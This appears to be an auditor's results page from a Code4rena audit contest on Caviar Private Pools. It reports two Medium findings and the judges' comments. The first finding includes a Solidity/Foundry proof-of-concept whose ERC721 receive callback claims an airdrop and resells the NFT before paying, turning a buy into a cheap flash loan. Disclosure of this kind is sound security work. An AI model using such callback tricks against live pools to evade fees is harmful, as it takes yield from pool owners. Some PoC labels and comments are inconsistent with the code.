Caviar Private Pools - KrisApostolov's results

A fully on-chain NFT AMM that allows you to trade every NFT in a collection.

General Information

Platform: Code4rena

Start Date: 07/04/2023

Pot Size: $47,000 USDC

Total HM: 20

Participants: 120

Period: 6 days

Judge: GalloDaSballo

Total Solo HM: 4

Id: 230

League: ETH

Caviar

Findings Distribution

Researcher Performance

Rank: 4/120

Findings: 2

Award: $2,445.61

🌟 Selected for report: 1

🚀 Solo Findings: 1

Findings Information

🌟 Selected for report: KrisApostolov

Labels

bug
2 (Med Risk)
high quality report
primary issue
selected for report
sponsor acknowledged
M-01

Awards

2437.5794 USDC - $2,437.58

External Links

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L211-L289 https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L240

Vulnerability details

Impact

The buy function's mechanism allows users to access flash loans at a lower fee cost, which could affect the pool owner's yield if users opt for it instead of flash loans.

Proof of Concept

The buy function initially transfers the NFTs to the buyer before verifying and receiving payment. This mechanism creates an opportunity for users to access flash loans that are akin to flash swaps in Uniswap.

It is worth noting that this scenario is only viable in pools with ERC20 tokens since they do not necessitate upfront payment, unlike payable functions. Additionally, it requires the flash loan fee to be greater than the combined buy and sell fees for the NFTs.

A proof-of-concept (PoC) demonstrating this scenario is provided below:

// @audit-info These are the default circumstances used by most of the tests:

PrivatePool public privatePool;

address baseToken = address(shibaInu);
address nft = address(milady);
uint128 virtualBaseTokenReserves = 100e6;
uint128 virtualNftReserves = 10e18;
uint16 feeRate = 1e2;
uint56 changeFee = 3e6;
bytes32 merkleRoot = bytes32(0);
address owner = address(this);

uint256[] tokenIds;
uint256[] tokenWeights;
PrivatePool.MerkleMultiProof proofs;
IStolenNftOracle.Message[] stolenNftProofs;

function setUp() public {
    privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
    privatePool.initialize(
            baseToken, nft, virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, false
    );
    deal(address(shibaInu), address(this), 2e6);

    // @audit-info Giving the pool 60 tokens to trade with
    deal(address(shibaInu), address(privatePool), 100e6);

    for (uint256 i = 0; i < 5; i++) {
        milady.mint(address(privatePool), i + 1);
    }
    assertEq(milady.balanceOf(address(privatePool)), 5, "Didn't mint 5 NFTs for some reason.");
}

function test_failBecauseOfDivisionBy0() public {

    for (uint256 i = 0; i < 5; i++) {
        tokenIds.push(i + 1);
    }

    (uint netInputAmount, uint feeAmount, uint protocolFeeAmount) = privatePool.buyQuote(5e18);

    shibaInu.approve(address(privatePool), netInputAmount);
    // @audit-info Trying to buy the 5 tokens present in the pool
    privatePool.buy(tokenIds, tokenWeights, proofs);
}

function onERC721Received(
    address operator,
    address from,
    uint256 tokenId,
    bytes calldata data
) external override returns (bytes4) {
    // @audit-info Claim airdrop for the specific NFT here
    airdrop.claim(tokenId);

    // @audit-info Selling the NFT here
    uint[] memory _tokenIds = new uint[](1);
    _tokenIds[0] = tokenId;

    milady.approve(address(privatePool), tokenId);
    (uint netInputAmount, uint feeAmount, uint protocolFeeAmount) = privatePool.sellQuote(1e18);
         
    privatePool.sell(_tokenIds, tokenWeights, proofs, stolenNftProofs);
    return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}

Tools Used

Manual review, Foundry

Consider sending the NFTs after the funds have been received by the contract.

#0 - c4-pre-sort

2023-04-20T06:29:50Z

0xSorryNotSorry marked the issue as high quality report

#1 - c4-pre-sort

2023-04-20T18:31:57Z

0xSorryNotSorry marked the issue as primary issue

#2 - c4-sponsor

2023-04-22T10:07:10Z

outdoteth marked the issue as sponsor acknowledged

#3 - GalloDaSballo

2023-04-30T19:06:36Z

The Warden has shown how, due to the handling of callbacks, a buy can be viewed as a flash-swap which allows the payer to pay after using the token, effectively allowing for a cheaper flashloan if fees are set in a certain way.

#4 - GalloDaSballo

2023-04-30T19:07:48Z

Because the finding shows a way to possibly side-step fees, while maintaining the same functionality, I believe the most appropriate severity to be Medium

#5 - c4-judge

2023-04-30T19:07:52Z

GalloDaSballo marked the issue as selected for report

Awards

8.0283 USDC - $8.03

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-864

External Links

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L748-L752

Vulnerability details

Impact

Flash loans will always be taken in a way that does not bring almost any yield to the pool’s owner.

Proof of Concept

Based on the NatSpec documentation, unused parameters, and the minimal function body, it appears that the function was not implemented as intended.

Unlike the other three fee-calculating functions, this particular function does not consider the NFT weightings and amount in its logic.

At present, the function only generates a flat changeFee, without taking into account any information regarding the state of the reserves or the weighting of the NFT.

Tools Used

Manual review

Consider implementing the function in the way it was supposed to be implemented in.

#0 - c4-pre-sort

2023-04-20T15:07:58Z

0xSorryNotSorry marked the issue as duplicate of #864

#1 - c4-judge

2023-05-01T07:06:49Z

GalloDaSballo changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-05-01T07:07:12Z

GalloDaSballo marked the issue as satisfactory

#3 - c4-judge

2023-05-01T07:07:32Z

GalloDaSballo marked the issue as partial-50

#4 - c4-judge

2023-05-01T07:07:54Z

GalloDaSballo marked the issue as full credit

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter